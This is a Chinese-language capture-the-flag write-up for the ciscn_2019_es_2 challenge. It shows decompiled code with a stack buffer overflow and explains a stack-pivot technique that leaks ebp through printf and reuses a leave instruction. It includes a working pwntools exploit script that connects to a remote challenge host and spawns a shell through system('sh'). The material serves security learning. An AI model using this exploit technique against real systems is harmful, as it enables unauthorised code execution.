解题思路
反编译
undefined4 main(void)
{
EVP_PKEY_CTX *in_stack_fffffff0;
init(in_stack_fffffff0);
puts("Welcome, my friend. What\'s your name?");
vul();
return 0;
}
void vul(void)
{
undefined local_2c [40];
memset(local_2c,0,0x20);
read(0,local_2c,0x30);
printf("Hello, %s\n",local_2c);
read(0,local_2c,0x30);
printf("Hello, %s\n",local_2c);
return;
}
void hack(void)
{
system("echo flag");
return;
}
从反编译结果来看,漏洞还是很清晰的,vul中的read函数提供了溢出点,hack函数提供了system函数调用。
难点&思路
首先是溢出点,从局部变量大小和读取长度限制来看,可以溢出,但是长度不长,经过测试,溢出点在第44字节处,也就是说,只能设置一个4字节返回地址。
undefined local_2c [40];
read(0,local_2c,0x30);
再就是hack函数,system的参数需要构造,但是从上面一条可以看出,普通的溢出没法构造更多的参数。
所以,难点就是如何扩展溢出长度?
从汇编和反编译代码来看,没有有效途径,但是有一个疑点:返回地址前面是ebp地址,如果溢出只能覆盖到返回地址,那么另外一个能影响的就是ebp,是否可以通过控制ebp来控制下次的执行?
经过反复调试发现,返回地址为leave会将栈址降低,跳到局部变量范围,那就可以通过read函数输入需要的参数信息。
然后,剩下最后一个问题,ebp的地址如何设置?
vul的两次read和printf很值得分析,从前面分析得知,read长度限制只比局部变量多8个字节,这8个字节就是ebp以及函数返回地址,而printf以字符串格式打印,那将局部变量全部填充为非0字节,就能打印出后面8个字节的内容。(如果8个字节中有0x00,那确实也会存在阶段的问题),还好,经过测试,该方法有效。
解题脚本
from pwn import *
context(arch = 'amd64', os = 'linux',log_level = 'debug', terminal="/bin/sh")
#sh = process('./ciscn_2019_es_2')
sh = remote('node4.buuoj.cn',28365)
vuln_addr = 0x08048625
system_plt = 0x08048400
vuln_leave_addr = 0x080485fd
sh.recvline()
pad = '0'*39
sh.sendline(pad.encode())
text = sh.recvline()
text += sh.recvline()
addr_s = text[47:51]
ebp_addr = int.from_bytes(addr_s, 'little')
print("addr:%#x" % ebp_addr)
#ebp_addr = 0xffffd2c8
#exp = 'sh'.encode() + p8(0) + p8(0) + p32(0) + p32(0) + p32(system_plt) + p32(vuln_addr) + p32(ebp_addr - 0x38) + p32(0)
exp = p32(system_plt) + p32(vuln_addr) + p32(ebp_addr - 0x38 + 12) + 'sh'.encode() + p16(0)
payload = exp + ('2'*24).encode() + p32(ebp_addr - 0x3c) + p32(vuln_leave_addr)
sh.send(payload)
sh.recvline()
with open('payload.txt', 'wb') as f:
f.write(('0'*47).encode() + '\n'.encode())
f.write(payload)
sh.interactive()
总结
跟之前一样,这个思路其实也是比较快就想到了,但是卡在如何利用ebp来跳转上,费了很多时间,没想到leave还会降低栈址, 其中的ebp_addr-0x3c经过实验得出;另外就是在做本题时,在本机实验时,system不会wait,导致排查费了较多时间,谁知上靶机刚刚滴,没有任何问题,欲哭无泪。。。